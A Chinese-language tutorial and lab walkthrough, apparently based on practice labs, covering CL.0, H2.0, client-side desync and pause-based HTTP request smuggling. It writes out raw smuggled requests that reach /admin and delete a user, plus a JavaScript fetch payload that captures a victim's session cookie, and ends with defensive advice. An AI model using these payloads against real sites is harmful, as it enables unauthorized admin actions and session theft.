请求走私利用扩展(终结篇)
字数 1095 2025-08-18 17:33:42
HTTP请求走私利用扩展(终结篇) - 深入解析与实战指南
文章前言
本文是HTTP请求走私系列的终结篇,将深入探讨几种特殊的请求走私技术,包括CL.0请求走私、H2.0走私和客户端去同步化攻击(CSD),以及基于暂停的CSD攻击。这些技术扩展了传统请求走私的攻击面,即使在单服务器环境中也可能存在风险。
CL.0请求走私
基本概念
CL.0请求走私是指后端服务器完全忽略Content-Length头,将其视为0的情况。当前端服务器仍然使用Content-Length头确定请求边界时,攻击者可以利用这种解析差异实施走私攻击。
漏洞检测方法
-
发送包含走私前缀的POST请求:
POST /vulnerable-endpoint HTTP/1.1 Host: vulnerable-website.com Connection: keep-alive Content-Length: 34 GET /hopefully404 HTTP/1.1 Foo: x -
发送正常后续请求
-
观察响应:如果第二个请求返回404,则存在CL.0漏洞
靶场实战演示
目标:利用CL.0走私访问/admin管理面板并删除用户carlos
-
修改GET请求为POST,添加走私前缀:
POST /resources/images/blog.svg HTTP/1.1 Host: target.com Connection: keep-alive Content-Length: 27 GET /admin HTTP/1.1 Foo: x -
构造删除用户请求:
POST /resources/images/blog.svg HTTP/1.1 Host: target.com Connection: keep-alive Content-Length: 50 GET /admin/delete?username=carlos HTTP/1.1 Foo: x
H2.0走私
H2.0走私是HTTP/2降级攻击的变种,当后端服务器忽略降级后请求的Content-Length头时产生。攻击原理与CL.0类似,但发生在HTTP/2降级为HTTP/1.1的场景中。
客户端去同步化攻击(CSD)
基本概念
CSD攻击使受害者的浏览器与易受攻击网站连接不同步,不同于传统请求走私的前端-后端不同步。攻击流程:
- 受害者访问含恶意JavaScript的网页
- JavaScript发起包含恶意前缀的请求
- 服务器响应后,恶意前缀保留在连接中
- JavaScript触发后续请求,附加到恶意前缀
靶场实战演示
目标:窃取受害者的会话cookie
-
确认服务器忽略Content-Length:
GET / HTTP/1.1 Host: target.com Content-Length:110 -
构造CSD攻击向量:
fetch('https://target.com', { method: 'POST', body: 'POST /en/post/comment HTTP/1.1\r\nHost: target.com\r\nCookie: [受害者的cookie]\r\nContent-Length: 300\r\n...', mode: 'cors', credentials: 'include', }).catch(() => { fetch('https://target.com/capture-me', { mode: 'no-cors', credentials: 'include' }) }) -
调整Content-Length捕获完整cookie
基于暂停的CSD攻击
基本原理
当服务器配置读取超时但保持连接开放时,攻击者可以通过暂停请求传输来制造解析差异:
- 前端立即转发每个字节到后端
- 前端不先于后端超时
- 后端超时后保持连接开放
靶场实战演示
目标:利用暂停技术访问/admin删除用户
-
构造暂停攻击请求:
POST /resources HTTP/1.1 Host: target.com Connection: keep-alive Content-Length: 159 POST /admin/delete/ HTTP/1.1 Host: localhost Content-Length: 53 csrf=xxx&username=carlos -
使用Turbo Intruder设置pauseMarker参数:
pauseMarker=['Content-Length: CORRECT\r\n\r\n']
防御建议
- 禁用连接重用
- 前后端使用相同HTTP协议版本
- 严格验证Content-Length和Transfer-Encoding头
- 配置合理的超时时间
- 实施Web应用防火墙规则检测异常请求
总结
本文扩展了请求走私的攻击技术面,展示了即使在看似安全的单服务器环境中也可能存在的风险。安全团队应全面测试系统对各种请求走私变种的防护能力,特别是协议降级和客户端攻击场景。